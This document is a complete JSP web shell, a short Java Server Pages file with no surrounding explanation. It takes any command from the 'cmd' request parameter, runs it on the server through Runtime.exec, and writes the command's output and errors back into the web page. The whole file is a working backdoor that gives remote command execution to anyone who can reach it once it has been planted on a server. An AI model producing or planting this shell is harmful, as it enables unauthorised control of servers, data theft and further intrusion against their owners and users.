<%@ page session="false" import="java.io.*,java.util.*" contentType="text/html" %>
<html>
<body>
<xmp>
<%
try {
String getcmd=request.getParameter("cmd");
String cmd = getcmd;
try{cmd = request.getParameterValues("cmd")[0];}catch(Exception e){}
if ( cmd != null ) {
Process p = null;
InputStream stdout = null;
InputStream stderr = null;
try {
StringTokenizer st = new StringTokenizer(cmd);
String[] cmds = new String[st.countTokens()];
for(int i=0; st.hasMoreTokens() ; cmds[i]=st.nextToken(), i++);
Runtime rt = Runtime.getRuntime();
p = rt.exec(cmds);
p.waitFor(); // wait for process finishing.
stdout = p.getInputStream();
BufferedReader out_br =
new BufferedReader(new InputStreamReader(stdout));
String line = null;
while ( (line=out_br.readLine()) != null) out.println(line);
stderr = p.getErrorStream();
BufferedReader err_br =
new BufferedReader(new InputStreamReader(stderr));
while ( (line=err_br.readLine()) != null) out.println(line);
}
finally {
if ( stdout != null ) try{stdout.close();}catch(Exception e){}
if ( stderr != null ) try{stderr.close();}catch(Exception e){}
if ( p != null ) try{p.destroy();}catch(Exception e){}
}
}
}
catch(Exception e){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
PrintWriter pw = new PrintWriter(bos);
e.printStackTrace(pw);
pw.flush();
out.println(bos.toString());
out.println("<br>");
}
%>
</xmp>
</body>
</html>
|